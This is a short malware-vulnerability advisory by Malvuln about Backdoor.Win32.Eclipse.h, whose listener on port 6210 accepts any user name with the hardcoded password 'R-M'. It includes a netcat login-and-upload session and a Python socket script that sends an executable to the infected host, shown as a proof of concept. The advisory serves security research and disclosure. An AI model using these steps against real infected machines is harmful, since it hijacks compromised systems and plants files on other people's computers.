Backdoor.Win32.Eclipse.h malware suffers from a hardcoded credential vulnerability.
cb80773c5ec99bb1c8f84021a4d97f89b467aa36feac244444c08a628a4e0d51Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/8b470931114527b4dce42034a95ebf46.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Eclipse.h
Vulnerability: Weak Hardcoded Credentials
Family: Eclipse
Type: PE32
MD5: 8b470931114527b4dce42034a95ebf46
Vuln ID: MVID-2022-0625
Disclosure: 07/21/2022
Description: The malware listens on TCP port 6210 and authentication is required. However, the backdoor accepts any USER name for authentication and the password "R-M" is weak and hardcoded within the PE file. Unpacking the UPX packed executable, easily reveals the cleartext hardcoded password.
00437590 dd 3 ; Len
00437590 db 'R-M',0 ; Text
0043759C _str_6210 dd 0FFFFFFFFh ; _top
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 6210
220 Servidor FTP Temporal Ver. 2.1 por Vlad
USER malvuln
331 Password required for malvuln.
PASS R-M
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
MKD HATE
257 'C:\HATE': directory created.
CWD HATE
250 CWD command successful. "C:/HATE/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,213,228).
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok
from socket import *
MALWARE_HOST="192.168.18.125"
PORT=54756
DOOM="DOOM_SM.exe"
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)
while EXE:
s.send(EXE)
EXE=f.read()
s.close()
print("By Malvuln");
if __name__=="__main__":
doit()
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